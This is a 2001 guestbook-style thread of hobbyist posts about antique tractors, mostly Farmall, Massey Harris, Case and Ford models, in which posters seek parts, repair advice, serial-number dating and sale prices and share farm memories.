Jim Determan wrote on Sunday, July 01, 2001 (PDT):I have a 1939 Model M which has a serial no. of FBK733,It is in excellent condition and I have a trailer with seats that I haul people in at shows etc. I wouldn't trade it for the world.
Mitchell Leonard wrote on Sunday, July 01, 2001 (PDT):My dad has owned and used his 1951 Massey Harris 44 for over 25 years. He rebuilt the engine on it many years ago but has never changed the fan belt. The belt is getting really worn but he can't find that wide of a belt that is short enough. Does anybody know where he can purchase one at?
lgoldstein wrote on Sunday, July 01, 2001 (PDT):I have a 52 Ford 8N. I use it on a reqular basis. The other day when I went to start it all I heard was a spinning sound like the started motor was not engaging. I Reworked the starter motor and reinstalled. Now when I push the starte switch there is no sound at all. Some one told me my battery must be low. I recharged but no change . I do have lights but the starte does not make any noise at all. When I push the starter solinoid by hand I hear a click but nothing else. Can any one tell me what ro do next. Thanks Len G
Ed Savage wrote on Sunday, July 01, 2001 (PDT):i just bought a working 1949 john deere model B electric start and its my first tractor restoreing it works but it burns oil any sugestions in hoe i fix this problom or just steps in going about restoreing my tractor
Ed Rendell wrote on Friday, June 29, 2001 (PDT):In case my good friend (and brother in Christ) should read this, I am quite pleased , and honoured to have "Buster" in the yard. I am actively seeking for ways to get her back to her former glory.
Ed Rendell wrote on Friday, June 29, 2001 (PDT):I have a IH Farmall A, a friend of mine was moving and could not take it with him. He used it often and I know he has a real affection for the old girl. I checked the Serial number , which is 4540, '39 model, engine #FAA-107-76 I need a starter for this one, it was converted to 12V, I think the bushings are shot, lots of sparks off brushes. Starters out there ? I'm in Northern Ontario Canada
FC Andy wrote on Friday, June 29, 2001 (PDT):I just got a 1950 farmall C the other day, I think it was a demonstrator. As I work on it I keep finding more and more white paint under the old faded red. I am 14 and just started the thing for the first time today after 2 1/2 days work.I bought it for $600 and it turned dragging it home. nice pic of C, I hope mine will look that good someday !
doug taylor wrote on Friday, June 29, 2001 (PDT):I am looking for pictures of massey harris 44s or particularily massy harris 744 tractors i live in Australia and have just purchased a 744 if you have any please send them by email or contact me i would love to talk . regards doug
Dave Emmons wrote on Wednesday, June 27, 2001 (PDT):The serial number reference page mentioned above has moved to www.sckans.edu/~alan/tractor.html Looks like a good deal of information on al sorts of antique tractors.
jason schott wrote on Wednesday, June 27, 2001 (PDT):would like to restore an F-20 that my grandpa has and would like to know if there are any types of books that are in someway about an f-20? I hope that my grandpa will approve of my idea because the though of leaving a farmall to rust just doesn't seem right. e-mail anything that might be helpful to me at schottfarmer at yahoo.com thanks a lot
Del Watkins wrote on Wednesday, June 27, 2001 (PDT):I am looking for a late 40's - 50's D, L, LA seiries tractor with excessories if possable (loader, PTO, 3 Point,) to use regularly. I prefer running but am open to other options. Grand Terrace Tractor in Colton California is a good source of old parts, as is Meyer Ward based in Northern california for those needing help.
Jason Tully wrote on Sunday, June 24, 2001 (PDT): I resently bought a BN the I.D tag hasbeen removed. Does any one know how to read casting numders to at least find out a year on it. It is equiped with the numatic air lift and one bottom trip plows. Ialso have a H,M,and 2 super C. and enjoy any comments. To wayne about the lift sysem . Ihave often wonderd if you can take a farmall C engine and pump system and mont it in B.
Steve Larson wrote on Saturday, June 23, 2001 (PDT):Want to know how to tell what year my M farmall was made in?
robert melvin wrote on Friday, June 22, 2001 (PDT):hi i'm looking for a farmall cub with a belly mower. do anyone have one for sale that is in good condition and priced fairly if so please contact me thanks.
michael wrote on Friday, June 22, 2001 (PDT):I own a case VA & they look very alike
Ed Kleck wrote on Friday, June 22, 2001 (PDT):I have an IA International not a farmall Igot it new in 1946 I removed the wires on the generator and the control panel about 30 years ago and can not remember how to rewire it can anyone help me...
Dale Barker wrote on Friday, June 22, 2001 (PDT):I live in Livermore, CA, 30 miles southeast of Oakland in what's known as the Tri-Valley area. I am looking for a Farmall H or M to restore. I would also be willing to consider a W or WD9, I or ID9 or a W or I or WD or ID6. I would also consider a W or I4 or a OS4 or 6. OS is Orchard Special. I might also consider a Farmall A, B, or C. It seems that I either find something that is a real basket case or one that the owner wants an arm and a leg for. Anybody's help is appreciated. Thank you. Best Regards, Dale Barker
Dave C. wrote on Thursday, June 21, 2001 (PDT):A month ago I purchased an International Farmall Cub tractor. I was told it was a 1947 model. Where can I find the serial number so I can get more info on the tractor for restoration?
Brandon Bernhard wrote on Thursday, June 21, 2001 (PDT):I am looking for; belly bar, lift arms, front weights, guages, lights, battery tray, seat, wheel weights, and pto shield for my 1964, 550 diesel with power steering. thanks for your help.
Jim wrote on Wednesday, June 20, 2001 (PDT):I am wanting the paint code for Farmall Regular Gray. I was at a recent red power show and noticed even the "experts" there disagreed. Please help!
Bill wrote on Tuesday, June 19, 2001 (PDT):I am restoring an ESKA pedal tractor. It is a Massey Harris 44 Large. I would like to know the proper paint color for the tractor and the wheels.
Pat Brophy wrote on Tuesday, June 19, 2001 (PDT):I have a ford model 850 #26212 can anybody tell me the year this was built.
Otvio Dias da Costa Machado wrote on Tuesday, June 19, 2001 (PDT):Hi friends, I'm a brazilian master student (in agriculture engeenering), and I'm working with machine levels, trough direct requests. So, we met some fordson, zector, deutz, hannomagui, and other anticle tractors, but a great doubt is the machine power (kW, hp,...)that i need in my calculation! If you know anything, data, webapge, or other, please subscribe me!! I will happy to reward my fotos and data!!
Stan Lackey wrote on Monday, June 18, 2001 (PDT):Gentelman I just bought a Massy Harris tractor that looks like the one in the photo, although it is a 4 point wheal set up. The cowling and engin are the same. Would this ba a model 81 also.I'd be happy to send a photo if you are interested.
Travis wrote on Monday, June 18, 2001 (PDT):My Grandfather used to work on Case and Allis Chalmers tractors when I was still in diapers, he passed away before I had the chance to get aquainted with him, When I was deciding what to do in my high school ag class four years ago I obtained my father's permission to restore a 1929 L that was passed down from my Grandfather. I spent a little over a year on it and when I finished I had a nice looking tractor with a solid oak floor that was done for amusement purposes and a nice way to pay tribute to the Grandfather that I never had the chance to get to know. When this project was completed, I continued on with a 37 CC and a 50 DC. What a great way to get in touch with the past.
C.W.Broughton wrote on Monday, June 18, 2001 (PDT):To; Jesse Templin...Hey I see that you are an Oregon number and your lens can be ordered through "Farmland Tractor Supply" in Tangent,Or. (541)928-1646...also I got mine through Knecht's Auto Parts for my 59 and it was a lot cheaper, but I don't know if a 59 and a 47 use the same light system. Good luck....Jim
lance davis wrote on Monday, June 18, 2001 (PDT):i noticed your pic. i have a 1931 f30 farmall i need a carbarator for it and i am have a very hard time finding parts for it if you have any suggestions where i might be able to find information on it please e mail me. thanks lance
Melody Wasson wrote on Sunday, June 17, 2001 (PDT):The G is one of the Allis Chalmers in my father-in-law's collection. He has added a belly mower and uses it on his property along with his others for keeping his yard and garden. I have two sons, and my oldest has been driving the "little G" since he was three and a half. He is now five and his brother is three. They have driven Allis Chalmers in several parades and last year won the first place plaque for their category. My sons never visit Poppy without asking for a ride. It is a bonding experience for them and I am glad they have such a wonderful Grandpa to spend time with. We love our Poppy and want to wish him a Happy Father's Day. Hope you can post this message so we might be able to show him how much we do appreciate him.
Jesse templin wrote on Saturday, June 16, 2001 (PDT):I have a 47 f cub seeking glass head light lens I have some parts for sale or trade feel free to contact me at 503 543 7871 any time looking forward to hearing from you.
ronald legault wrote on Saturday, June 16, 2001 (PDT):1 have a massey-harris 81 i use it to work on the farm all summer rake pull hay loads pass chain harrow etc.it all original.i put a pump at the pully place to use the remote for the hay rake.every thing is bolted and can be taken off in 20 minutes.thank you the site is very good and interesting merci bonjours.
bob parker wrote on Thursday, June 14, 2001 (PDT):Looking for help with a problem I'm Having with Farmall Cub - serial #179433J. The PTO keeps kicking out, I can't see any problems with the shaft or the pins. Need help determining problem or where to go for more information. Appreciate any help you can give.
Robert Thielen wrote on Thursday, June 14, 2001 (PDT):Have around 56 cub.Plow doesn't plow very deep. Any ideas what I can do. Thanks for any help. Bob
Justin wrote on Wednesday, June 13, 2001 (PDT):could u please send me picture's and infomatin on the John Deere model L tractor thankyou
bonnie wrote on Tuesday, June 12, 2001 (PDT):I have a 1945 VA Case in storage. Any idea what it would be worth. It is is very good condition, original. I can not seem to find anyone who has one or any history on it.
ORWIN EVENSON wrote on Tuesday, June 12, 2001 (PDT):YOU HAVE A NICE TRACTOR,ONLY ONE PROBLEM. McCORMICS WERE PAINTED GRAY AND ALL McCORMIC DEERINGS WERE BUILT BY INTERNATIONAL HARVESTER COM. OF AMERICA INC. 606 SO MICHIGAN AVE. CHICAGO.IL AND WERE PAINTED INTERNATIONAL RED!
johny wrote on Tuesday, June 12, 2001 (PDT):there juck
MIKE wrote on Monday, June 11, 2001 (PDT):looking for a f-20 or f-30.unrestored running or not.perfer on steel.will consider on rubber witch ever i find first. i live in northern VA. WILL TRAVEL AND CAN PICK UP .
Brad Bryan wrote on Saturday, June 09, 2001 (PDT):I recently bought a 1947 M. It needs paint and new seat. I also bought a Super M, which has no front end, and the motor is stuck.
Greg Hammond wrote on Friday, June 08, 2001 (PDT):Dose it have a pony motor on it? Becuse thats the only way i can see how it would start like that. First on gas, when it warms up, turn it over to diesel
Warren Prill wrote on Friday, June 08, 2001 (PDT):We farmed with a massey 55,44 and 101Sr-6cylinder Chrysler. The 44 was a powerful versatile tractor.It was a 5 speed. We overhauled it with M&W pistons for incresed HP. I believe we boosted the hp to 65 or more, we were never quite sure. But the difference was amazing, we could outpull a 560 IHC anytime,aw those were the good old days.
jim charles wrote on Friday, June 08, 2001 (PDT): i had just picked up a case di with a lull front end loader...what i was wonering..can i put a three point hitch on it
Glenn Berts wrote on Friday, June 08, 2001 (PDT):A year ago I bought an '48 MD for $200. The gas side linkage and other parts were missing. The only way I could start it was to pull it. I now put two 12 volt batteries in series to the starter and give it just a small shot of starter fluid and away it goes. It smokes for two or three minutes until it warms up and runs smooth after that. I charge the batteries occasionally after about 25 or 30 starts. Nothing compares to taking off in road gear and hearing the governor kick in and the pure acceleration. This rig will be attached to my PTO sawmill in the very near future.
Chet Ross wrote on Thursday, June 07, 2001 (PDT):My Email is CROSS at SARALEECOFFEE.COM
CHET ROSS wrote on Thursday, June 07, 2001 (PDT):Ihave a F-20 that starts great and runs good for the first 5 or 10 min. then the motor starts to pulsate. I have checked the fule and the screen with no luck. Does anyone have any ideas on whats wrong if so please Email me. Thanks.
Ernesto wrote on Wednesday, June 06, 2001 (PDT):Oliver 66 and oliver 77 Anyone knows if its posible to take a 3pt from a 66 and install it on a 77 ? Thx
jack connolly wrote on Tuesday, June 05, 2001 (PDT):Just received '37 F-20 from my wife's brother.Where can i get a manual for this tractor?
larae whitfield wrote on Monday, June 04, 2001 (PDT):we have an oc4 crawler and need steering clutches for it does anyone know where can find some or have any for sale.
STEVEN HUNTINGTON wrote on Sunday, June 03, 2001 (PDT):I JUST RECENTELY PURCHASED MY FIRST TRACTOR A 1950 FORD 8N, I GAVE 2,000, THIS LAST WINTER IT WAS OVERHAULD. I TOOK IT TO MY SHOP AND STRIPPED EVERYTHING DOWN AND PAINTED,FIXED EVERYTHING MECHANICAL. I USE IT TO BRUSHHOG MY LAND.
david kenworthy wrote on Saturday, June 02, 2001 (PDT):You may not belive this but i just pick up a oliver m-70 the person i got it from gave it to me had to do a little work. would like to know what kind of plow to get for it and it runs great
steve c wrote on Saturday, June 02, 2001 (PDT):anyone know the correct way to time magneto on a farmall b thanks.
j c lange wrote on Saturday, June 02, 2001 (PDT):as far as i'm concerned the M is one of the best tractors made. i have one of the older models and it's my baby.
Mike Gipple wrote on Saturday, June 02, 2001 (PDT):Did Massey Harris ever make a Super 44? I'm thinking that was written on the side panels of the one my dad owned in the late 50's.....Thanks, MG
Jeff Wood wrote on Friday, June 01, 2001 (PDT):Hi I believe to have a 1953 DI tractor there are no Id tags. It has a foot clutch, I am looking for a pressure plate if you can assist me please email me thanks.
Lyn Schuerman wrote on Friday, June 01, 2001 (PDT):Am looking for fenders and wide front end for an M.
ray dias wrote on Thursday, May 31, 2001 (PDT):Go for it.
Nick Russo wrote on Thursday, May 31, 2001 (PDT):Just purchased a 1949 Super AV w/cultivators,currently looking for the sidedressers for this great tractor!!!NJ area
carroll loyd wrote on Wednesday, May 30, 2001 (PDT):does anyone know how much compression a f-20 should havethanking you in advance c.loyd
dick wrote on Tuesday, May 29, 2001 (PDT):hi! I am currently restoring a 47 VAO. Can anyone tell me what company still makes the Flambeau Red and also did the 47 have any other color on it? Thank you, Dick
JT Anderson wrote on Tuesday, May 29, 2001 (PDT):I'm buying a Woods Belly mower. I like the idea of the 59" wide mower cutting the Grass prior to the rear wheels running over it,, but I am concerned is there enough horse-power to run this 59" mower. I only mow about 3/4 acre so would the 42" be better..I also have alot of trimming next to fences trees etc..Please E-mail Me with Your experiences Thanks ***JT***
Dan wrote on Tuesday, May 29, 2001 (PDT):My grandfather had an 8N that he gave to my father. I learned to drive on this little tractor. We would drag fire wood in each year, and I have yet to see another tractor that will pull such a load for its size. Many times we would steer with the brakes because the front tires were barely on the ground. We found/manufactured steel wheels for it (that I now use on another tractor) and after putting in a radiator guard, and attaching a 5 foot bush hog, it would mow down anything smaller than your wrist. I LOVED that little tractor!
dan n wrote on Tuesday, May 29, 2001 (PDT):how many horse power is a a super md same as a plain super m at 55 horse power
Dan N wrote on Tuesday, May 29, 2001 (PDT):We have a restored m and a restored super m, and they are the handiest tractors ever, we also have 2 5488's and a 1086, and a 966, on our farm in michigan, and the 2 88's are the best, but the farmals are really handy for raking hay, and pulling wagons, they used to be good for spraying, but now the 88's and the sadle tanks work better.
Gary Wiltbank wrote on Sunday, May 27, 2001 (PDT):My neighbor is looking for a rear wheelrim for a silverking. Contact me if you have one for sale ,enclose e-mail, and phone number.
bobby hunt wrote on Sunday, May 27, 2001 (PDT):the case tractor pictured at the beginning of this artical is like the one that my son and i had just got it running good when i bidn't check the antifreez and it froze and pushed the freeze plugs out now i have to replace them before we try to get it running again.we also have a 1947 and a 1962 that we are tring to get running
Rich Johns wrote on Saturday, May 26, 2001 (PDT):Can anyone tell me where i could find wheels for a Massey Harris 81? If so contact me at rjohnsii at hotmail.com
paul williams wrote on Saturday, May 26, 2001 (PDT):just bought a 44 mint condition paid 300 dollars.the guy i bought it from thought it was compresing turned out it had the wrong oil cap and missing the seal on rad cap. what a deal
Bill Davis wrote on Friday, May 25, 2001 (PDT):I have a friend with a 6 cyl. Funk Ford, who is looking for an oil pump/distributor drive gear and any other parts he can find. I had never heard of this tractor before but am quite familiar with the Funk Aircraft Co. that did the conversions.
DAN .L wrote on Friday, May 25, 2001 (PDT):I HAVE A 1945 70 ROW CROP & A 1941 70 ALSO.LOVE THIS TRACTOR.PULL IT AT TRACTOR PULLS EVERY YEAR.IT MAY NOT HAVE TWO REVERSES BUT MINE WILL GO INTO REVERSE IN BOTH H-PATTERNS.I AM LOOKING FOR ONE FLAT LENS FENDER LIGHT COMPLETE.
Jess wrote on Thursday, May 24, 2001 (PDT): I have a 46 M and it runs like a top but my only downfall is my gas tank. It had sat for a while with no gas in it and it's gas tank is full of rust. I have pressure washed it 5 or 6 times and I continue to get more rust until it eventually clogs up between my gas tank and my sediment bowl. Does anyone know where I could buy a new reproduction? Any comments will be helpful. Email me at imler21 at hotmail.com
Alec Webb wrote on Wednesday, May 23, 2001 (PDT):I remember driving one of the tractors when only a boy of about ten years of age. The farm that my father worked onwas Oughton Head Farm in Hitchin Hertfordshire England and the Farmer was a Mr Moss who owned several tractors of this model which were used for aspects of farm work from ploughing to cutting corn & threshing. At a later date bought an SC three wheeler was used mostly for trailer work with sheep
Lynn wrote on Tuesday, May 22, 2001 (PDT):I already own a 60% restored B machine, I have had trouble from day 1 with the magneto timing slipping, it has both hand crank and electric start. When I attempt to hand crank the engine it KICKS like a mule. Any sugestions? To all of those other people who have problems with their "pouty Mouths" stay off the computer's will ya?
Olen Mullis wrote on Tuesday, May 22, 2001 (PDT):My father died last year and I am currently having his Allis-Chalmers Model G restored. Does anyone know where i might buy a "belly" mower- new or used. Thanks, Olen Mullis
Eddie Stephens wrote on Monday, May 21, 2001 (PDT): Hi I Hope someone can help me.I am looking at a farmall M-D. 1950 model starts on gas runs on diesel. is this correct can anyone give me info on this tractor im looking to get into the hobby if you can help me please e-mail me at txnascarfan3 at earthlink.net thank you.
Daryl Pohlman wrote on Monday, May 21, 2001 (PDT):I have a 1959 350 Utility with manuals, and some attachments (shreader, blade, plow). They will be going up for auction on June 23, 2001. Tractor ran the last time it was parked in the shed (about 5 years ago). Needs some work, but a good project for someone. Contact me if you have any idea of worth or interested in purchase. Thanks.
Jennifer wrote on Monday, May 21, 2001 (PDT):I love tractors! Just about every weekend during the summer we go to tractor pulls or tractor shows. I asked my dad to get me a LA.
R. Yetter wrote on Sunday, May 20, 2001 (PDT): I also have an 1934 L Case that I'm restoring, but I'm having problems with the magnito. Is there someone who knows about mags? please e-mail me back.
Greg Smith wrote on Sunday, May 20, 2001 (PDT):I converted my wd 45 diesel to gas 15 years ago. You must have the flywheel, starter,throtle assy,raditor,longer hood, and also do some modifications to the left frame rail for injection pump clearence. The rest of the tractor should be fine.
Dennis S. wrote on Saturday, May 19, 2001 (PDT):For years a F-14 was the only tractors on my Dad's farm (really a hobby farm, I guess). It was a multi-fuel, and had the little tank on top of the hood. That tractor was the first I drove and the4 first I started by myself. I knew where to set the Mag advance so it wouldn't kick. I don't know how little I was, but I remember setting the crank sideways and getting on top of it to swing it. And did I catch -ell for that! But that "old" tractor was the only tractor to start when it got to twenty below and stayed there for a week. That "14" was belted to the neighbors JD's to start them, and they had been sitting in a nice warm barn all night. The "14" sat outside under a tree, while our new tractor sat in the shed and also refused to start.
danny whitson wrote on Friday, May 18, 2001 (PDT):hi, my name is danny. i am fastated with the funk comvertion kit. i would like to find one for my 1943, if anybody knows where i can find a used or a new kit please email me, it is a fastateding discovery for me.all help will apperation. please email me thank you danny
dave miller wrote on Wednesday, May 16, 2001 (PDT):I know where there is a ac-g. They are asking 2800.00 for it. Can anyone tell me if that is a good buy? It runs good and needs some TLC. Thanks
Jary Fox wrote on Tuesday, May 15, 2001 (PDT):My father and I have a combined total of three M's,1941,1947,1952. I was wondering does anyone know where we can get a set of 14.9-38's for pulling?
charlie wrote on Tuesday, May 15, 2001 (PDT):I have a case -o- matic from the 50's or early 60's in my grandpa's barn and it doesnt have a top on it , I was just wondering if someone would be nice enough to send me a picture of one so I can see what it was supposed to look like
Dave Shaak wrote on Tuesday, May 15, 2001 (PDT):I have a 44 Special in running condition with steel wheels, all metal is in good shape but needs some work. Not sure of the year, but in the late 40's. It's up for sale. $950.00.
jeremy wrote on Tuesday, May 15, 2001 (PDT):I own awd9
Charles Sharp wrote on Tuesday, May 15, 2001 (PDT):I have a mid 50's Co-Op 40 tractor. It's been in storage after the farm was sold. Always kept indoors. Runs well but needs an engine overhaul as it has no oil pressure.It's been repainted and all there. PTO. Looking to sell it since we have no use for it. Can anyone give us an idea of a price to ask for it?
Paul Keele-Box 421 Mackay Idaho 83251 wrote on Monday, May 14, 2001 (PDT):I have a Model 70 Row crop for sale. It runs good and is in fair shape. Contact me at the above address.
Rick Byrd wrote on Saturday, May 12, 2001 (PDT):I have just purchased an A' and cannot get enough of it. It needs paint all around but has no deterioration- anywhere. I have a new muffler for it but have no stack to mount it on(very thin and crushable exhaust pipe remnant). So, I am now considering buying an exhaust manifold with associated piping to accomodate the muffler. Any better ideas out there? Am also interested in getting one set of front wheel weights- have a pair of 140 Lbs on rear already. Any help on this as well?
Jim Shinlever wrote on Friday, May 11, 2001 (PDT):Just bought my 1951 Cub and looking for some equiptment for sale in Tennessee or close.
Jeff Bendremer wrote on Thursday, May 10, 2001 (PDT):Does someone out there have a snow plow to fit my 1946 Farmall A? No hydraulics of course.
gary wrote on Thursday, May 10, 2001 (PDT):I grew up with 2 cylinder JD's from the time the horses left the farm in 1950 when they were replaced by the "M". Right now I have an R for parts if anyone needs any. I bought it for it's parts but the R I had never broke down and needed any. I also have a 70 diesel standard that runs.
Al Watson (Texas) wrote on Wednesday, May 09, 2001 (PDT):I have a '39 B that I aquired several years ago and am about to start restoring. Mine has an arched cast front axle like the one pictured, but mine also has adjustments to set out the wheels. It is the only one like it I have ever seen. The front wheels are held on by six rivets instead of five lug bolts. Is this a prototype or some aftermarket option?? Anyone have any info or another on like it?
Milton Wright,Jr. wrote on Tuesday, May 08, 2001 (PDT):Have just bought a 1949 F CUB Serial #29510. It runs great (smokes a little) but it starts hard. Almost new battery and new switch on starter. Does anybody know what the problem might be. It is 6 volt, Pos. grd. Could it be the gen. or the starter itself? Help! Thanks a lot.
Greg K wrote on Monday, May 07, 2001 (PDT):I recently purcased a 15-30 with no serial # tag. It has INTERNATIONAL above the radiator instead of McCORMIC DEERING The rear axles are not threaded on the outside of the wheels either.I am wanting to know what year it is or any other info you might have.
THOMAS SHAFER wrote on Sunday, May 06, 2001 (PDT):I HAVE A 1947 CUB THAT USED TO BELONG TO MY GRANDFATHER, IT HAS THE DOUBLE PLOWS, GRADER BLADE UNDERNEATH, SAW MILL, SICKLE BAR, TIRE WEIGHTS, FLUIED IN TIRES. I COMPLETELY RESTORED IT, I GAVE IT TO MY SON, BECAUSE I WAS OFFERED 5,200. BEAUTIFUL MACHINE. I ALSO HAVE A 1958 CUB WITH BELLY MOWER THAT I USE EVERY DAY, I ALSO RESTORED IT BACK TO THE ORIGINAL FORM, IM LOOKING FOR ANY JUNKED CUBS, OR ANY THAT NEEDS A NEW HOME AND IS PRICED RESONABLY. SEND ANY RESPONCES, OR IF YOU NEED ANY QUESTIONS ANSWERED ABOUT FARMALL CUBS, PAINT, SERIAL#s, OR JUST TALK..........
Steve S. wrote on Saturday, May 05, 2001 (PDT):Dave I would try the 60" mower on your BN the HP for this tractor is 17 drawbar and 19 pto. & belt pully. I have a 1945 BN and that is the size mower deck i would put on better to have plenty of power than not enough.
Pete Zahrt wrote on Saturday, May 05, 2001 (PDT):I need about 5 lugs for a 1939 F-20. Also, anybody with tips to how and make the "whine" of the transmission in road-gear go away, or be silenced somewhat, it would be helpful.
Bren wrote on Friday, May 04, 2001 (PDT):For my Farmall B I am looking for a grill, one bottom dirt plow with all of the brackets, and am interested in any other implements for the B.
Allen wrote on Thursday, May 03, 2001 (PDT):My future wife and I would like to find a Farmall M or super M with a wide front end in the future and are pricing them out. I already have a 1950 Cub but she would like to have an M for herself. We are in the central North Carolina area. Thank you.
Ken wrote on Wednesday, May 02, 2001 (PDT):I have a Pony with no serial number tag. Can anyone tell me if there is some other way to determine the year of manufacture. The tractor is red (repainted years ago) with gray wheels that seem to have original paint. Is this possible?
Bruce Noack wrote on Wednesday, May 02, 2001 (PDT): LOOKING FOR A SET OF RIMS FOR THE REAR EITHER A SET TO FIT A SET OF 12.4 OR A 15.5 TIRE. ALSO A CARBURATOR FOR A 4 CYL 44. BOUGHT THE TRACTOR FOR 250.00 I AM STARTING TO RESTORE IT FORM THE FRAME UP.TALKED TO A PERSON WHO SAID THAT RIMS FROM A JD A ARE THE SAME .
PUTTS wrote on Tuesday, May 01, 2001 (PDT):I pull a 656D narrow front. I don't farm any more and don't have a good use for it anymore. It sounds awesome with a 4 inch exhaust pipe on it. I usually pull against 560's and come to find that the 560D balances perfectly with a wide front to out pull me every time, even though I'm cranking out more RPM's and hpower. I'm thinking of purchasing a 560 to give those Deere's that beat me a run for their money.
Floyd Switzer wrote on Tuesday, May 01, 2001 (PDT):I have a broken 44 Special, it has a great deal of puling power, but i need a sector shaft for it(part of the steering box)does anyone have one? It has threads on the opposite end of the gear, it does not have clamp on the end. It is a Special but only has the 4cyl. and no power steering. Thanks
ED wrote on Tuesday, May 01, 2001 (PDT):MY FATHER IN LAW HAS A OLD CASE TRACTOR IT LOOKS VERY MUCK LIKE THIS VAI. HIS FATHER GOT IT ABOUT 20 YEARS AGO HE BOUGHT IT FROM A SCHOOL BOARD IN SOUTH WEST VA MY FATHER IN LAW AND I CANT FIND A DATA PLATE ANY WHERE ON THE TRACTOR AND HE NEEDS TO GET A WATER PUMP AND AN EXHUAST MANIFOLD FOR IT AND WITH OUT KNOWING WHAT YEAR MAKE AND MODLE IT IS ITS HARD TO GET PARTS IF ANYONE CAN GIVE SOME INFO OR TELL ME A WEB SITE TO GO TO IT WOULD BE GREATLY APPRECIATED
jason wrote on Tuesday, May 01, 2001 (PDT):Any body check out the farmall page lots of good info on there to
Joe Hughes wrote on Monday, April 30, 2001 (PDT):My dad and I have a 1946 model M that we restored a few years ago. We are currently working on a 1954 40C. We bought it in January and it was pretty rough. Next week we are tearing down the steering clutches and hope that anything that needs replaced is available at our John Deere store in St. Paul, Oregon joehughes at joehughes.com
Dave wrote on Monday, April 30, 2001 (PDT):I just bought one in a garage sale, tires are very worn, but she runs well. Want to learn more about her. They thought it was 1949 or 50. She kind of looks like this one except needs painted,
tim streator wrote on Monday, April 30, 2001 (PDT):how does a single bottom plow hook up to this? thaank you.
gene letttich wrote on Sunday, April 29, 2001 (PDT):wandering if anyone could help me,got a50;s model vac case needs some parts to get her up and moveing again she runs but poor power,thanks from sacramento,pa
Ben wrote on Friday, April 27, 2001 (PDT):nice photo and dont worrry about those "anoracks" you paint your tractor the colour you want too. from Ben Cradock in Wiltshire-England.
louie wrote on Thursday, April 26, 2001 (PDT):I finely got my "G" model up and running This little old tractor realy puts out the work The implements are sure easy to keep lined up in the rows and are alot faster to install than I had thought But I sure could use a pulley and sickle bar soon here in southern Mississippi we get alot sun and enought water to cause the grass to jump up in a hurry.More later Big Lou PS. Yes little Lou helped to get Our "G" running
Candy Miller wrote on Wednesday, April 25, 2001 (PDT):We just purchased a Minneapolis Moline ZTU, unforturnately the serial number is not legible. We are trying to find out what year it is. We were told it is a 1949. It has a side shift and hand clutch. Also it has large fenders and you sit low between the wheels. It has the new style front grill that is red in color and pointed. On the S/N plate is said 3 5/8 x 4 1/2 R.E.. We would appreciate it if someone out there could give us some information.
JOHN BRAWNER wrote on Wednesday, April 25, 2001 (PDT):Ihave a 51 ,B JD which i have ran trouble free for agood many years last winter the carb.froze and burst am looking for one in rebuildable conditon. THANK YOU!!JOHN
Ross E Duncan, Bancroft, On. Canada wrote on Wednesday, April 25, 2001 (PDT):I have an HG42 which I purchased 21 Years ago. It has good sheet metal, Lights, Powertakeoff & Pulley. I don't have time to Refurbish.Anyone interested E.mail me.
Dave wrote on Wednesday, April 25, 2001 (PDT):When my grandfather passed away he left me a BN and I am going to restore it and would like to run a Woods undermount mower on it. I looked at Wood's website and they have a 72" mower but it takes atleast 20 horsepower to run it. They also have a 60" that takes 15 horsepower. If anyone could tell me how much horsepower my BN has I would be very appreciative. Also if anyone has any other tips on restoring my BN please contact me at; remingtonman at outdrs.net
ian burnage wrote on Wednesday, April 25, 2001 (PDT):I agree, the wheels on the fordson major were orange,i was brought up at the age of 13 driving these tractors from the 70s right up to the 90s, i worked on a farm at clapham bedfordshire E.W.Straford where time stood still.
Guy Heberling wrote on Tuesday, April 24, 2001 (PDT):We just purchased an Oliver crawler tractor OC-3 four cyl/gas engine 1948 and need help getting it going. I think it's the magneto, because it will turn over, but can't get any spark. Any help you can give will be greatly appreciated.
Dee wrote on Tuesday, April 24, 2001 (PDT):I put in a lot of time on old John Deeres as a lad and the "R" sure beat the heck out of the old "D". when it came to power. And what a joy it was to have a "road Gear" to move fields in.
parker rubendall wrote on Tuesday, April 24, 2001 (PDT):i just purchased a 44 from my grandfather runs good need a three point and fender lights
parker rubendall wrote on Tuesday, April 24, 2001 (PDT):i just purchased a 44 from my grandfather runs good need a three point and fender lights
Dave wrote on Tuesday, April 24, 2001 (PDT):We love those Farmall Ms. Looking for set of original spoke steel wheels with rims welded on, so i can mount 38 inch tires. Let me know if you have some for sale.
Ed Vickers wrote on Tuesday, April 24, 2001 (PDT):Re;1948 VAO CASE LOOKING FOR PARTS 518-842-0989 or 518-725-9753 call any time
Ed Vickers wrote on Tuesday, April 24, 2001 (PDT):Re;1948 VAO CASE LOOKING FOR PARTS 518-842-0989 or 518-725-9753 call any time
Ed Vickers wrote on Tuesday, April 24, 2001 (PDT):Re;1948 VAO CASE LOOKING FOR PARTS 518-842-0989 or 518-725-9753 call any time
Ed Vickers wrote on Tuesday, April 24, 2001 (PDT):Re;1948 VAO CASE LOOKING FOR PARTS 518-842-0989 or 518-725-9753 call any time
Ed Vickers wrote on Tuesday, April 24, 2001 (PDT):I have a 1948 V.A.O. . Im looking for a steering box the steering box off a va or vac will bolt on but they put the .steering wheel assembly at the wrong angle.If anyone has parts or knows where i can get parts please let me know .thanks
Ray Sutton wrote on Monday, April 23, 2001 (PDT):I have the opportunity to purchase a VAI case tractor, but am not sure what it is worth. It has PTO, seems to be all original, frontend loader made by favorite company and a drag scoop. I would appreciate if someone could give me an idea of what I should pay for it.
papab wrote on Monday, April 23, 2001 (PDT):first tractor i drove in my life at the age of six . my grandfather purchased it in 1950 .inow own it and am restoring it . im from sask canada .keep up the good work
John wrote on Monday, April 23, 2001 (PDT):I just bought a woods l-59 mower for my B and I am looking for pictures of the rear hitch and belt drive assembly. Thanks john
allen wrote on Sunday, April 22, 2001 (PDT):just bought a 1956 Fordson Major Diesel looking for salvage for parts. Any help would be appreciated.
Scot Olson wrote on Sunday, April 22, 2001 (PDT):I just got an oliver oc46 can anybody get me a book on this thanks scot
Bob The Yo Yo wrote on Sunday, April 22, 2001 (PDT): I have a Massey Harris 6 cylinder. I am trying to find out what model it is. According to the tag on it it shows 446 GR 1 3 34 And another Number on the transfer case 9223 A 6 - 2 - 47. What Model and Year is it.
James D. Wampole Sr. wrote on Sunday, April 22, 2001 (PDT):I,m In need of a used head for my 1926 regular ,the one I got had small cracks In water jackets, also valve guides were bad, have found 6 complete regulars in northern Wis. Will have to wheel and deal. Hopefully.
